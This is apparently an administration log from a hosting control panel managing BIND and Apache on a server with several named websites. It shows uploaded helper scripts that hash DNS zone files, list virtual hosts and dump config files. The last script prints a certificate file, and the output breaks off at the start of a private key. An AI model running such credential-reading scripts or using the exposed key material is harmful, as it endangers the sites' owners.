if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:21:23:
runuser -l bind -s /bin/bash -c '/tmp/pkp325026; rm /tmp/pkp325026'
2026-01-03 19:21:23:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:21:28: Establishing a connection
2026-01-03 19:21:28:
PUT: /tmp/pkp224940
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:21:28:
chmod 755 /tmp/pkp224940; /tmp/pkp224940; rm /tmp/pkp224940
2026-01-03 19:21:29:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:21:29:
PUT: /tmp/pkp103677
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/heaster_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:21:29:
chmod 755 /tmp/pkp103677; /tmp/pkp103677; rm /tmp/pkp103677
2026-01-03 19:21:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/heaster_www_org.conf 1347
<VirtualHost *:80>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_access.log combined
ErrorLog /var/log/apache2/heaster/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName heaster.org
ServerAlias www.heaster.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt
DocumentRoot /var/www/heaster_www
<Directory /var/www/heaster_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/heaster/www_secure_access.log combined
ErrorLog /var/log/apache2/heaster/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:21:29:
PUT: /tmp/pkp525797
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:21:29:
chmod 755 /tmp/pkp525797; /tmp/pkp525797; rm /tmp/pkp525797
2026-01-03 19:21:29:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d76ac506d6f13662e06babf635b43fda.crt 5357
d6:4a:3c:12:18:d4:48:f9:af:4c:e3:6e:dd:2b:5d:c7
-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBcDLmx4PB+5LK1bqxufcXZPAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI4MDUwMTQ4WhcNMjYwMzI4MDUwMTQ3WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALVf
dCmsk7CrJ4sBBgszBgpENVOa3kBmYU0Pu/LkdzQXxPu45EM7P6rAt/kgp6eN8+RM
orHodJozP/+3RqyVbXyS+XNshsfPfkGU4XTMwR46EhpbmpYKamyJCUVbauGr9+Zd
WM8S+KulipVILgAqY3NajzaPerH5NN9Rn7778b+vnHQzyRreke1ouV7Vp/IcV4SW
w2vNq0y1nz9NCaR2T6z31q5rhEzOFd3rxP74AxphFfR/cd/L90jbdpBE/ZDMhfEw
rBjODOojJiagQ6dQ+jdWKG6mm4AtLc48OCj1wo+SEVmCtX57Cmc1u/UDD5Zh/z58
LnIvHSJueDafF97gMVkCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUYr/nUdLudQGuYWcas7YSQCbAhuwwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAnBgNVHREEIDAeggtoZWFzdGVyLm9yZ4IPd3d3LmhlYXN0
ZXIub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0
dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjUuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB
8gDwAHUADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGbY4sVlQAA
BAMARjBEAiB2bTq6CpmyoAWvkUxyEpMJLqxPUC7xfV6j6fuFmvWZ6AIgK6Y7ZI5Z
JFSbyLktxLE5e3gkHNP8mSvz4D1q//Zv/3wAdwDRbqmlaAd+ZjWgPzel3bwDpTxB
EhTUiBj16TGzI8uVBAAAAZtjixZ6AAAEAwBIMEYCIQChqC5CBtS72F9BpCcgTHHg
5mcWImBPypqOKgbCA01aqgIhANidjmI4mzbNwAyhiOuRxQzUIcGtF0XcpBHZPq7O
vz5CMA0GCSqGSIb3DQEBCwUAA4IBAQCRpUWvd6nMoujy41EJU22y5kZtoa/ekKox
y3yk+m5tUgaHAxp8SryPD1Aowrez6wC03FbeYAVts0dJLvNuZyLqx2TTn7zxj8iR
oioUulLsvrlDPb7d/dGu17RQBbfiAxd+0NK3JnIjxvONhtLLDjFs2JPK/JB9jj9i
0YDOewBHCRwd5CS5Ew4LRV7P49Oj9iExw6dFK9m6FYaNFfNzfFVO8gik+cray6ZL
9PYd7N3DdKm3Lij1jTnOZ0L+WN4YiSAyBfG3qk/JrzGput16Lo858iZ4cWsokW8h
Z3bXBFzsp7kXFAMiJjW6SQsAC8aa3/AMr4nRH+DSoxxK+y5E/vk4
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1X3QprJOwqyeL
